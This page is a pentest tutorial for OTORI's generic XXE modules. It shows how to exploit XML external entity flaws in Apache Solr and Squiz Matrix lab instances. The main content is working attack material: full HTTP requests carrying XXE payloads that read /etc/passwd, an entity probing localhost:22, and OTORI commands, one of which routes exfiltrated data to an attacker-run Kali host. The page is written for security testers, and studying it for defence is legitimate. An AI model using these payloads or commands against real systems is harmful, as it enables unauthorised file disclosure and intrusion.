Home > Software > OTORI - Example 7: Generic XXE Modules
OTORI - Example 7: Generic XXE Modules
This article describes security testing-related software whose use may be restricted or prohibited in your place of residence or your workplace. The penalties for violating laws and regulations regarding security testing-related tools can be severe. Ensuring that you are allowed to use this software is your responsibility.
The instructions in this tutorial are slightly less-detailed than for other articles on this website. This is because the software described should not be used if you are unfamiliar with basic- to intermediate-level use of Linux. Proceeding without having that knowledge is very likely to result in damage and/or loss of data.
Prerequisites
This tutorial describes the new generic XXE modules introduced in version 0.3 of On The Outside, Reaching In.
In order to understand this content, you will — at a minimum — need to have read the earlier OTORI - Example 1: Apache Solr tutorial, and set up a basic target Solr system to test against.
To understand the second part of the tutorial, you will need to have read the OTORI - Example 2: Squiz Matrix tutorial, because it depends on the use of She Wore A Mirrored Mask. Following the example steps in that section will require a test instance of Squiz Matrix, as described in that earlier tutorial.
Finally, this tutorial assumes the reader is reasonably familiar with the use of intercepting proxies such as Burp Suite or OWASP ZAP. If you are not already comfortable using one or both of those tools, you should learn how to use one of them (elsewhere) before proceeding. The specific instructions in this tutorial are for Burp Suite, but ZAP will work as well.
Background
While many XXE vulnerabilities require multiple steps to exploit (such as those described in the OTORI - Example 3: Mahara and OTORI - Example 4: McAfee ePO tutorials, where something must be uploaded, then a separate page visited to view the content), many others can be taken advantage of using a single request. Wouldn't it be great if those could be exploited without waiting for someone to write a module? Now they can.
The concept behind these modules is similar to the sqlmap -r mode (where an HTTP request is pasted into a text file and used as the basis for the SQL injection requests).
There are numerous applications that can be exploited in this way (especially applications marketed as "enterprise" products). Unfortunately, I am unable to get any more specific than that at the present, and so the examples below will duplicate the XXE functionality described in two of the previous tutorials (in which Apache Solr and Squiz Matrix were exploited). This has the side-benefit of saving me the trouble of writing detailed instructions for setting up additional test systems, at least. Rest assured that if you pay attention, sooner or later you will almost certainly encounter this type of vulnerable system when pen-testing.
Screenshots of the major steps are at the end of each section.
Apache Solr (basic XXE exploit)
POST /solr/analysis/document HTTP/1.1
Host: solrtarget.vuln.local:8983
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: JSESSIONID=qz9ii6ll6djn
Connection: keep-alive
Content-Length: 194
<?xml version="1.0" ?>
<!DOCTYPE add [
<!ELEMENT field ANY>
<!ENTITY glyphwhiskey SYSTEM "file:///etc/passwd">
]>
<add>
<doc>
<field name="id">&glyphwhiskey;</field>
</doc>
</add>
python ./otori.py --clone --module "G-XXE-Basic" --singleuri "file:///etc/passwd" --module-options "TEMPLATEFILE" "TARGETURL" "BASE64ENCODE" "DOCTYPE" "XMLTAG" --outputbase "./output-generic-solr" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs
python ./otori.py --clone --module "G-XXE-Basic" --singleuri "file:///etc/passwd" --module-options "generic_xxe_request-solr_darh-template.txt" "http://solrtarget.vuln.local:8983/solr/analysis/document" "" "" "field" --outputbase "./output-generic-solr" --overwrite
Squiz Matrix (PHP Yunusov-Osipov-style exploit)
<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22";>]>
<scan>&test;</scan>
POST /?SQ_ACTION=asset_map_request HTTP/1.1
Host: squiztarget.vuln.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 127
<?xml version="1.0" ?>
<!DOCTYPE command [
<!ENTITY pussycatoaths SYSTEM "file:///etc/passwd";>
]>
<pussycatoaths>&pussycatoaths;</pussycatoaths>
POST /?SQ_ACTION=asset_map_request HTTP/1.1
Host: squiztarget.vuln.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 162
<?xml version="1.0" ?>
<!DOCTYPE command [
<!ENTITY pussycatoaths SYSTEM "file:///etc/passwd">
]>
<command action="get translations">&pussycatoaths;</command>
POST /?SQ_ACTION=asset_map_request HTTP/1.1
Host: squiztarget.vuln.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 31
<command action="get translations" />
POST /?SQ_ACTION=asset_map_request HTTP/1.1
Host: squiztarget.vuln.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 31
<?xml version="1.0" ?>
%YUNUSOVOSIPOVBLOCK%
<command action="get translations" />
python ./otori.py --clone --module "G-XXE-YO" --singleuri "file:///etc/passwd" --module-options "generic_xxe_request-squiz-template.txt" "http://squiztarget.vuln.local/?SQ_ACTION=asset_map_request" --outputbase "./output-generic-squiz" --overwrite --swamm-url-base "http://kali.vuln.local:8080/CBt/" --swamm-url-read "http://kali.vuln.local:8080/CBt/3lh/" --swamm-url-write "http://kali.vuln.local:8080/CBt/moc/" --swamm-url-append "http://kali.vuln.local:8080/CBt/n4Y/" --swamm-url-delete "http://kali.vuln.local:8080/CBt/Qyv/" --swamm-url-store-add "http://kali.vuln.local:8080/CBt/BmF/" --swamm-url-store-delete "http://kali.vuln.local:8080/CBt/hpB/"
Exploiting Squiz Matrix Generically — Screenshots | ||||||||||||||
|
|
|
|
|
||||||||||
|
|
|||||||||||||
Illustrations related to the preceeding section. |